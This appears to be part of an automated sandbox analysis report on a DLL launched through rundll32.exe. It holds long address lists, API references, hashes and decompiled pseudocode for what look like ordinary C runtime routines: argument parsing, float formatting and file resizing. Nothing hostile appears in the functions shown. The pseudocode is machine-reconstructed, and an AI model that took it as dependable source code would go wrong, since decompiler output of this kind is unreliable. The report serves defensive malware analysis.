0x6e188722
0x6e188725
0x6e188735
0x6e188737
0x6e188737
0x6e188727
0x6e188727
0x6e18872a
0x00000000
0x6e18872c
0x6e18872c
0x6e18872f
0x00000000
0x6e188731
0x6e188731
0x6e188731
0x6e18872f
0x6e18872a
0x6e188745
0x6e188749
0x6e188757
0x6e18875c
0x6e188771
0x6e188773
0x6e188779
0x6e18877c
0x6e1887ae
0x6e1887ae
0x6e1887b3
0x6e1887b9
0x6e1887b9
0x6e1887c0
0x6e1887da
0x6e1887da
0x6e1887db
0x6e1887e1
0x6e1887e7
0x6e1887e8
0x6e1887e9
0x6e1887ee
0x6e1887f1
0x6e1887f3
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1887c2
0x6e1887c2
0x6e1887c8
0x6e1887ca
0x00000000
0x6e1887cc
0x6e1887cc
0x6e1887cf
0x00000000
0x6e1887d1
0x6e1887d1
0x6e1887d8
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1887d8
0x6e1887cf
0x6e1887ca
0x00000000
0x6e1887f5
0x6e1887fd
0x6e188803
0x6e188805
0x6e188805
0x6e18880d
0x6e188812
0x6e18881a
0x6e18881d
0x6e18881f
0x6e188833
0x6e188838
0x6e18877e
0x6e18877e
0x6e18877f
0x6e188780
0x6e188781
0x6e188782
0x6e18878a
0x6e18878a
0x6e18878a
0x6e18878c
0x6e18878f
0x6e188792
0x6e188792
0x6e188709
0x6e18870c
0x6e18870e
0x00000000
0x6e188710
0x6e188710
0x6e188713
0x6e188714
0x6e188715
0x6e188716
0x6e18871b
0x6e18870e
0x6e18879a
0x6e18879f
0x6e1887aa
0x00000000
0x00000000
0x00000000
0x6e188678
0x6e18864c
0x6e18864e
0x6e1886aa
0x6e1886ae
0x6e1886ae
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1885e3
0x6e1885e6
0x6e1885e9
0x6e1885ec
0x6e1885ef
0x6e1885f2
0x6e1885f5
0x6e1885f5
0x00000000
0x6e1885b2
0x6e188594
0x6e188594
0x6e188600
0x6e188602
0x00000000
0x6e188607
0x6e1884d6
0x6e1884d6
0x6e1884d9
0x6e1884e2
0x6e1884e5
0x6e1884ec
0x6e1884ee
0x6e188507
0x6e188508
0x6e188509
0x6e18850b
0x6e188510
0x6e1884f0
0x6e1884f0
0x6e1884f3
0x6e1884f4
0x6e1884f6
0x6e1884f8
0x6e1884fa
0x6e1884ff
0x6e1884ff
0x6e188513
0x6e188515
0x6e188517
0x00000000
0x00000000
0x6e18851d
0x6e188520
0x6e188522
0x6e188524
0x00000000
0x6e188526
0x6e188526
0x6e188529
0x00000000
0x6e188529
0x00000000
0x6e188524
0x6e188608
0x6e18860b
0x6e188610
0x00000000
0x6e188613
0x6e1884a6
0x6e1884a6
0x6e1884ad
0x6e1884ae
0x6e1884b0
0x6e1884b5
0x6e188614
0x6e188618
0x6e188618
0x00000000

APIs

_strpbrk.LIBCMT ref: 6E1884E5
_free.LIBCMT ref: 6E188602

Part of subcall function 6E178956: IsProcessorFeaturePresent.KERNEL32(00000017,6E178928,00000000,00000000,00000000,6E178935,?,00000016,?,?,6E178935,00000000,00000000,00000000,00000000,00000000), ref: 6E178958
Part of subcall function 6E178956: GetCurrentProcess.KERNEL32(C0000417,00000000,00000000,00000000,00000000,6E17D6CB,00000000,?,00000003,6E17FA89), ref: 6E17897A
Part of subcall function 6E178956: TerminateProcess.KERNEL32(00000000,?,00000003,6E17FA89,?,?,?,?,?,?,?,6E170044), ref: 6E178981

Strings

*?, xrefs: 6E1884D9
., xrefs: 6E1887B9

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 0afd5cdead393887c651df3c09560e4e72948fa99440ffc137417b77094c0f6d
Instruction ID: 2aa932e98c843de83a2344119a9cf755970317b5cc1ff89bea32d99424dd8a09
Opcode Fuzzy Hash: 0afd5cdead393887c651df3c09560e4e72948fa99440ffc137417b77094c0f6d
Instruction Fuzzy Hash: 945190B5E04109EFDB14CFE8C880AAEBBB9EF58314F24456AE854E7300D7319A819F50

Uniqueness

Uniqueness Score: -1.00%

Function 6E17E0C2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6E17E0C2(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E6E188E06(_t52);
					GetModuleFileNameA(0, 0x6e253568, 0x104);
					_t49 =  *0x6e253a9c; // 0x29133f8
					 *0x6e253aa4 = 0x6e253568;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x6e253568;
					}
					_v8 = 0;
					_v16 = 0;
					E6E17E1E6(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E6E17E35B(_v8, _v16, 1);
					if(_t64 != 0) {
						E6E17E1E6(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E6E188921(_t49, 0, _t64, _t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0x6e253a90 = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x6e253a94 = _t59;
									L16:
									E6E17FBB2(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x6e253a90 = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0x6e253a94 = _t43;
						goto L10;
					} else {
						_t44 = E6E17BB7E();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E6E17FBB2(_t64);
						return _t50;
					}
				} else {
					_t45 = E6E17BB7E();
					_t65 = 0x16;
					 *_t45 = _t65;
					E6E178929();
					return _t65;
				}
			}

0x6e17e0c2
0x6e17e0cf
0x6e17e0ef
0x6e17e102
0x6e17e108
0x6e17e10e
0x6e17e116
0x6e17e11d
0x6e17e11d
0x6e17e122
0x6e17e129
0x6e17e130
0x6e17e142
0x6e17e149
0x6e17e168
0x6e17e174
0x6e17e18f
0x6e17e192
0x6e17e199
0x6e17e19f
0x6e17e1a6
0x6e17e1a9
0x6e17e1ab
0x6e17e1af
0x6e17e1b9
0x6e17e1b9
0x6e17e1bb
0x6e17e1c1
0x6e17e1c4
0x6e17e1c6
0x6e17e1cc
0x6e17e1cd
0x6e17e1d3
0x00000000
0x00000000
0x00000000
0x00000000
0x6e17e1b1
0x6e17e1b1
0x6e17e1b1
0x6e17e1b4
0x6e17e1b5
0x00000000
0x6e17e1b1
0x6e17e1a1
0x00000000
0x6e17e1a1
0x6e17e17a
0x6e17e17f
0x6e17e181
0x6e17e183
0x00000000
0x6e17e14b
0x6e17e14b
0x6e17e150
0x6e17e152
0x6e17e153
0x6e17e188
0x6e17e188
0x6e17e1d6
0x6e17e1d7
0x00000000
0x6e17e1e0
0x6e17e0d7
0x6e17e0d7
0x6e17e0de
0x6e17e0df
0x6e17e0e1
0x00000000
0x6e17e0e6

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Windows\SysWOW64\rundll32.exe,00000104), ref: 6E17E102
_free.LIBCMT ref: 6E17E1CD
_free.LIBCMT ref: 6E17E1D7

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6E17E0F9, 6E17E100, 6E17E12F, 6E17E167

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$FileModuleName
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 2506810119-2837366778
Opcode ID: 93e2111c787e61d08850ccf7948b0784f9c087a6f0493d11fb9755372d8079a5
Instruction ID: acf6b57d3060d229777523bb98816c79dce8124ab3cdf8643055c9a1b62ff6c0
Opcode Fuzzy Hash: 93e2111c787e61d08850ccf7948b0784f9c087a6f0493d11fb9755372d8079a5
Instruction Fuzzy Hash: 65313071A04619AFDF31DFD98D85DDEBBFDEB89B14B20406AE80497204D7708B80EB51

Uniqueness

Uniqueness Score: -1.00%

Function 6E180880, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6E180880(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E6E179118(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							_t30 = _v48 + 0x88; // 0xffce8305
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *_t30))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E6E18F630( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E6E18F630( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t116 = _t186 - 1;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E6E1757E0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E6E18F630( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E6E18F530();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E6E18F530();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E6E18F530();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E6E180B83(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E6E18F710(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E6E17BB7E();
					_t183 = 0x22;
					 *_t129 = _t183;
					E6E178929();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x6e180880
0x6e18088b
0x6e180892
0x6e180894
0x6e180894
0x6e180896
0x6e18089f
0x6e1808a1
0x6e1808a6
0x6e1808ac
0x6e1808c2
0x6e1808c7
0x6e1808ca
0x6e1808d7
0x6e1808dc
0x6e180930
0x6e180938
0x6e18093a
0x6e18093c
0x6e18093f
0x6e18093f
0x6e18093f
0x6e180945
0x6e18094d
0x6e180960
0x6e180963
0x6e180965
0x6e180968
0x6e180969
0x6e18098a
0x6e18098d
0x6e18098d
0x6e18096b
0x6e18096b
0x6e18096d
0x6e180978
0x6e180978
0x6e18097a
0x6e180981
0x6e18097c
0x6e18097c
0x6e18097c
0x6e18097a
0x6e18098e
0x6e180990
0x6e180991
0x6e180994
0x6e180996
0x6e1809a0
0x6e1809aa
0x6e180998
0x6e180998
0x6e180998
0x6e1809af
0x6e1809af
0x6e1809b4
0x6e1809b7
0x6e1809c2
0x6e1809c2
0x6e1809c2
0x6e1809c2
0x6e1809c6
0x6e1809cd
0x6e1809ce
0x6e1809d1
0x6e1809d4
0x6e1809d4
0x6e1809d6
0x00000000
0x00000000
0x6e1809ee
0x6e1809f5
0x6e1809f9
0x6e1809fc
0x6e1809ff
0x6e180a01
0x6e180a01
0x6e180a01
0x6e180a03
0x6e180a06
0x6e180a09
0x6e180a0b
0x6e180a13
0x6e180a19
0x6e180a1c
0x6e180a1f
0x6e180a20
0x6e180a23
0x6e180a26
0x6e180a26
0x6e180a2b
0x6e180a2e
0x00000000
0x00000000
0x6e180a46
0x6e180a4b
0x6e180a4f
0x00000000
0x00000000
0x6e180a53
0x6e180a56
0x6e180a57
0x6e180a57
0x6e180a59
0x6e180a5c
0x00000000
0x00000000
0x6e180a5e
0x6e180a61
0x6e180a68
0x6e180a6b
0x6e180a6e
0x6e180a84
0x6e180a84
0x6e180a84
0x6e180a70
0x6e180a70
0x6e180a72
0x6e180a75
0x6e180a80
0x6e180a77
0x6e180a7a
0x6e180a7a
0x6e180a75
0x00000000
0x6e180a6e
0x6e180a63
0x6e180a63
0x6e180a65
0x6e180a65
0x6e1809b9
0x6e1809b9
0x6e1809bc
0x6e180a87
0x6e180a87
0x6e180a89
0x6e180a8b
0x6e180a8e
0x6e180a8f
0x6e180a90
0x6e180a91
0x6e180a99
0x6e180a99
0x6e180a99
0x6e180a9b
0x6e180a9e
0x6e180aa1
0x6e180aa3
0x6e180aa3
0x6e180aa5
0x6e180ab7
0x6e180abb
0x6e180abe
0x6e180ac5
0x6e180acd
0x6e180acd
0x6e180ad0
0x6e180ad2
0x6e180ae3
0x6e180ae3
0x6e180ae7
0x6e180ae7
0x6e180aea
0x6e180aec
0x6e180aef
0x00000000
0x6e180ad4
0x6e180ad4
0x6e180ada
0x6e180ada
0x6e180ade
0x6e180af1
0x6e180af1
0x6e180af5
0x6e180af6
0x6e180af8
0x6e180afa
0x6e180b3b
0x6e180b3b
0x6e180b3d
0x6e180b4a
0x6e180b4a
0x6e180b4c
0x6e180b4e
0x6e180b4f
0x6e180b50
0x6e180b57
0x6e180b5a
0x6e180b5c
0x6e180b5c
0x6e180b5d
0x6e180b5f
0x6e180b62
0x6e180b62
0x6e180b64
0x6e180b66
0x00000000
0x6e180b66
0x6e180b3f
0x6e180b41
0x00000000
0x00000000
0x6e180b43
0x00000000
0x00000000
0x6e180b45
0x6e180b48
0x00000000
0x00000000
0x00000000
0x6e180b48
0x6e180b01
0x6e180b07
0x6e180b07
0x6e180b09
0x6e180b0a
0x6e180b0b
0x6e180b0c
0x6e180b13
0x6e180b16
0x6e180b18
0x6e180b19
0x6e180b1b
0x6e180b28
0x6e180b28
0x6e180b2a
0x6e180b2c
0x6e180b2d
0x6e180b2e
0x6e180b35
0x6e180b38
0x6e180b3a
0x6e180b3a
0x00000000
0x6e180b3a
0x6e180b1d
0x6e180b1d
0x6e180b1f
0x00000000
0x00000000
0x6e180b21
0x00000000
0x00000000
0x6e180b23
0x6e180b26
0x00000000
0x00000000
0x00000000
0x6e180b26
0x6e180b03
0x6e180b05
0x00000000
0x00000000
0x00000000
0x6e180b05
0x6e180ad6
0x6e180ad8
0x00000000
0x00000000
0x00000000
0x6e180ad8
0x6e180ad2
0x00000000
0x6e1809bc
0x6e1809b7
0x6e1808de
0x6e1808e0
0x00000000
0x6e1808e2
0x6e1808f8
0x6e1808fd
0x6e1808ff
0x6e18090b
0x6e180911
0x6e180912
0x6e180914
0x6e180916
0x6e180921
0x6e180921
0x6e180924
0x6e180926
0x6e180926
0x6e180929
0x6e180901
0x6e180901
0x6e180901
0x00000000
0x6e1808ff
0x6e1808ae
0x6e1808ae
0x6e1808b5
0x6e1808b6
0x6e1808b8
0x6e180b6a
0x6e180b6e
0x6e180b73
0x6e180b73
0x6e180b82
0x6e180b82

APIs

_strrchr.LIBCMT ref: 6E18090B
__alldvrm.LIBCMT ref: 6E180B0C
__alldvrm.LIBCMT ref: 6E180B2E

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: dfd600f243ab01e0d60354f1a2019f331615495e1cf0aaaa4257a0baf1d4dd4c
Instruction ID: 07d13a68f70784b6f8ac8faf6e13750c3b429cf8736c965d24a40ee8e906c017
Opcode Fuzzy Hash: dfd600f243ab01e0d60354f1a2019f331615495e1cf0aaaa4257a0baf1d4dd4c
Instruction Fuzzy Hash: E9A16875E1638A9FF711CE98C8A07AFBBE4EF66304F244569D4959B280E33489C1DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E184C03, Relevance: 6.2, APIs: 4, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6E184C03(signed int __edx, intOrPtr _a4, intOrPtr _a8, int _a12) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				signed int _t17;
				int _t20;
				signed int _t21;
				int _t23;
				signed int _t25;
				int _t28;
				intOrPtr* _t30;
				int _t34;
				int _t35;
				void* _t36;
				intOrPtr* _t37;
				intOrPtr* _t38;
				int _t46;
				void* _t54;
				void* _t56;
				signed int _t58;
				int _t61;
				int _t63;
				void* _t64;
				void* _t65;
				void* _t66;

				_t58 = __edx;
				_t59 = _a4;
				_t61 = 0;
				_t16 = E6E1858E2(_a4, 0, 0, 1);
				_v20 = _t16;
				_v16 = __edx;
				_t65 = _t64 + 0x10;
				if((_t16 & __edx) != 0xffffffff) {
					_t17 = E6E1858E2(_t59, 0, 0, 2);
					_t66 = _t65 + 0x10;
					_t51 = _t17 & __edx;
					__eflags = (_t17 & __edx) - 0xffffffff;
					if((_t17 & __edx) == 0xffffffff) {
						goto L1;
					}
					_t46 = _a8 - _t17;
					__eflags = _t46;
					_t20 = _a12;
					asm("sbb eax, edx");
					_v8 = _t20;
					if(__eflags < 0) {
						L24:
						__eflags = _t20 - _t61;
						if(__eflags > 0) {
							L19:
							_t21 = E6E1858E2(_t59, _v20, _v16, _t61);
							__eflags = (_t21 & _t58) - 0xffffffff;
							if((_t21 & _t58) != 0xffffffff) {
								_t23 = 0;
								__eflags = 0;
								L31:
								return _t23;
							}
							L20:
							_t23 =  *((intOrPtr*)(E6E17BB7E()));
							goto L31;
						}
						if(__eflags < 0) {
							L27:
							_t25 = E6E1858E2(_t59, _a8, _a12, _t61);
							_t66 = _t66 + 0x10;
							__eflags = (_t25 & _t58) - 0xffffffff;
							if((_t25 & _t58) == 0xffffffff) {
								goto L20;
							}
							_t28 = SetEndOfFile(E6E18414E(_t59));
							__eflags = _t28;
							if(_t28 != 0) {
								goto L19;
							}
							 *((intOrPtr*)(E6E17BB7E())) = 0xd;
							_t30 = E6E17BB6B();
							 *_t30 = GetLastError();
							goto L20;
						}
						__eflags = _t46 - _t61;
						if(_t46 >= _t61) {
							goto L19;
						}
						goto L27;
					}
					if(__eflags > 0) {
						L6:
						_t63 = E6E17FB55(_t51, 0x1000, 1);
						_pop(_t54);
						__eflags = _t63;
						if(_t63 != 0) {
							_v12 = E6E184A6B(_t54, _t59, 0x8000);
							_t34 = _v8;
							_pop(_t56);
							do {
								__eflags = _t34;
								if(__eflags < 0) {
									L13:
									_t35 = _t46;
									L14:
									_t36 = E6E184833(_t46, _t59, _t63, _t59, _t63, _t35);
									_t66 = _t66 + 0xc;
									__eflags = _t36 - 0xffffffff;
									if(_t36 == 0xffffffff) {
										_t37 = E6E17BB6B();
										__eflags =  *_t37 - 5;
										if( *_t37 == 5) {
											 *((intOrPtr*)(E6E17BB7E())) = 0xd;
										}
										L23:
										_t38 = E6E17BB7E();
										E6E17FBB2(_t63);
										_t23 =  *_t38;
										goto L31;
									}
									asm("cdq");
									_t46 = _t46 - _t36;
									_t34 = _v8;
									asm("sbb eax, edx");
									_v8 = _t34;
									__eflags = _t34;
									if(__eflags > 0) {
										L12:
										_t35 = 0x1000;
										goto L14;
									}
									if(__eflags < 0) {
										break;
									}
									goto L17;
								}
								if(__eflags > 0) {
									goto L12;
								}
								__eflags = _t46 - 0x1000;
								if(_t46 < 0x1000) {
									goto L13;
								}
								goto L12;
								L17:
								__eflags = _t46;
							} while (_t46 != 0);
							E6E184A6B(_t56, _t59, _v12);
							E6E17FBB2(_t63);
							_t66 = _t66 + 0xc;
							_t61 = 0;
							__eflags = 0;
							goto L19;
						}
						 *((intOrPtr*)(E6E17BB7E())) = 0xc;
						goto L23;
					}
					__eflags = _t46;
					if(_t46 <= 0) {
						goto L24;
					}
					goto L6;
				}
				L1:
				return  *((intOrPtr*)(E6E17BB7E()));
			}

0x6e184c03
0x6e184c0d
0x6e184c10
0x6e184c17
0x6e184c1e
0x6e184c23
0x6e184c26
0x6e184c2c
0x6e184c3f
0x6e184c46
0x6e184c49
0x6e184c4b
0x6e184c4e
0x00000000
0x00000000
0x6e184c54
0x6e184c54
0x6e184c56
0x6e184c59
0x6e184c5b
0x6e184c5e
0x6e184d3c
0x6e184d3c
0x6e184d3e
0x6e184cf5
0x6e184cfd
0x6e184d07
0x6e184d0a
0x6e184d8b
0x6e184d8b
0x6e184d8d
0x00000000
0x6e184d8d
0x6e184d0c
0x6e184d11
0x00000000
0x6e184d11
0x6e184d40
0x6e184d46
0x6e184d4e
0x6e184d55
0x6e184d58
0x6e184d5b
0x00000000
0x00000000
0x6e184d65
0x6e184d6b
0x6e184d6d
0x00000000
0x00000000
0x6e184d74
0x6e184d7a
0x6e184d87
0x00000000
0x6e184d87
0x6e184d42
0x6e184d44
0x00000000
0x00000000
0x00000000
0x6e184d44
0x6e184c64
0x6e184c6e
0x6e184c7a
0x6e184c7d
0x6e184c7e
0x6e184c80
0x6e184c9e
0x6e184ca1
0x6e184ca4
0x6e184ca5
0x6e184ca5
0x6e184ca7
0x6e184cba
0x6e184cba
0x6e184cbc
0x6e184cbf
0x6e184cc4
